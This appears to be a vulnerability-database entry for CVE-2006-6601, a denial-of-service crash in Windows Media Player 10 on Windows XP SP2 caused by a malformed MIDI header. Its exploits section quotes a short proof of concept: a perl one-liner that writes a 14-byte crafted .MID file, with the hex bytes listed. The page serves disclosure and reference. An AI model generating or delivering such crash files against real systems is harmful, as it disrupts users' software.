4.3
CVSSv2

CVE-2006-6601

Published: 15/12/2006 Updated: 17/10/2018
CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6
VMScore: 440
Vector: AV:N/AC:M/Au:N/C:N/I:N/A:P

Vulnerability Summary

Windows Media Player 10.00.00.4036 in Microsoft Windows XP SP2 allows user-assisted remote malicious users to cause a denial of service via a .MID (MIDI) file with a malformed header chunk without any track chunks, possibly involving (1) number of tracks of (2) time division fields that are set to 0.

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windows media_player 10.00.00.4036

microsoft windows_xp

Exploits

#!/bin/sh # Windows Media MID File Denial Of Service Vulnerability # Tested: # Windows Media 1000004036 # Windows XP SP2 # file "examplemid" (Hex-Code): # 4D 54 68 64 00 00 00 06 00 00 00 00 00 00 # File size = 14 byte perl -e 'print "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"' > examplemid # milw0rmcom [2006-12-15] ...
source: wwwsecurityfocuscom/bid/21612/info Multiple applications are prone to a denial-of-service vulnerability A remote attacker may exploit this vulnerability by presenting malicious 'WMV', 'MID', and 'AVI' files to a victim user When an affected application processes this image, the application crashes, effectively denying service ...